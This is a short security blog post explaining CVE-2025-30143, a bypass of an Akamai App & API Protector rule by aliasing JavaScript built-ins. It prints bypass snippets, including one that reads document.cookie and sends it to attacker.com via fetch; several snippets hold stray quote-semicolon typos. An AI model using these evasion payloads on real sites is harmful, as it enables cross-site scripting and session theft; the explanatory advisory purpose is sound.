CVE-2025-30143 - Exploiting Akamai App & API Protector’s Rule 3000216 (Before v2)

In early 2025, a critical vulnerability was disclosed in Akamai’s popular App & API Protector suite, shaking the confidence of organizations relying on its default protections. Designated CVE-2025-30143, this issue lies in Rule 3000216 (before version 2), embedded within the product and its Akamai Security Engine (ASE) up to the release before 2024-12-10. Misinterpretation of JavaScript variable assignments to built-in functions and properties could lead to security rule evasion, exposing applications to severe threats.

This post will explain the vulnerability simply, provide a working code example, summarize exploitation techniques, and direct you to trusted references.

The Vulnerability: What's CVE-2025-30143?

Rule 3000216 is a part of Akamai’s threat protection targeting suspicious JavaScript behavior, aiming to block attacks such as Cross-Site Scripting (XSS) or malicious payloads. But until version 2 (released 2024-12-10), the rule failed to properly recognize when attackers re-assigned built-in functions or properties via variable assignments in JavaScript.

This means attackers could overload or spoof built-in objects and bypass security checks meant to catch those bad behaviors.

Why Is This Bad?

Akamai’s detection logic assumed that variable assignments referencing built-ins (like 'window.open' or 'document.cookie') wouldn’t be obfuscated or tampered with. Up until v2, if you re-assigned or aliased these built-ins using clever variable assignments, the system wouldn’t recognize their use in malicious logic!

Exploiting CVE-2025-30143

Suppose Akamai App & API Protector is enforcing Rule 3000216, and your malicious code would normally be blocked if window.open was used directly:

// Blocked by security rules:
window.open('https://evil.com';);

But CVE-2025-30143 allows a bypass

// Bypasses pre-v2 3000216:
let evil = window.open;
evil('https://evil.com';);

Here's a more practical example

// Normally 'alert' is blacklisted:
alert('Attack!');
 
// But via assignment (bypass in vulnerable versions):
let a = alert;
a('Attack bypassed!');

Akamai’s vulnerable rule set would let the second example through, failing to recognize that a was essentially the same as calling alert().

Simple Obfuscation Example

let c = document.cookie; // Steals document cookies
fetch('https://attacker.com/?c='; + encodeURIComponent(c));

Under default protections, direct references to document.cookie in suspicious contexts could trigger a block, but indirect assignment like this bypasses inspection.

References (Official)

- Akamai Security Advisory: Akamai App & API Protector Release Notes
- CVE-2025-30143 at MITRE *(link updates soon)*
- Akamai ASE Product Page: Akamai Security Engine

Summary

CVE-2025-30143 shows how a simple misunderstanding in code logic—how JavaScript assigns values to functions and properties—can create huge security risks. If you’re running Akamai protections, act now: update your systems and review your rules. Attackers have always relied on clever code tricks, and this flaw proves once again: don’t underestimate the power of simple variable assignments in code security.

Stay Safe. Stay Up To Date.

*(This article is an exclusive explanation by an independent security writer. Please follow Akamai’s official channels for critical product updates.)*

Timeline

Published on: 03/17/2025 16:15:28 UTC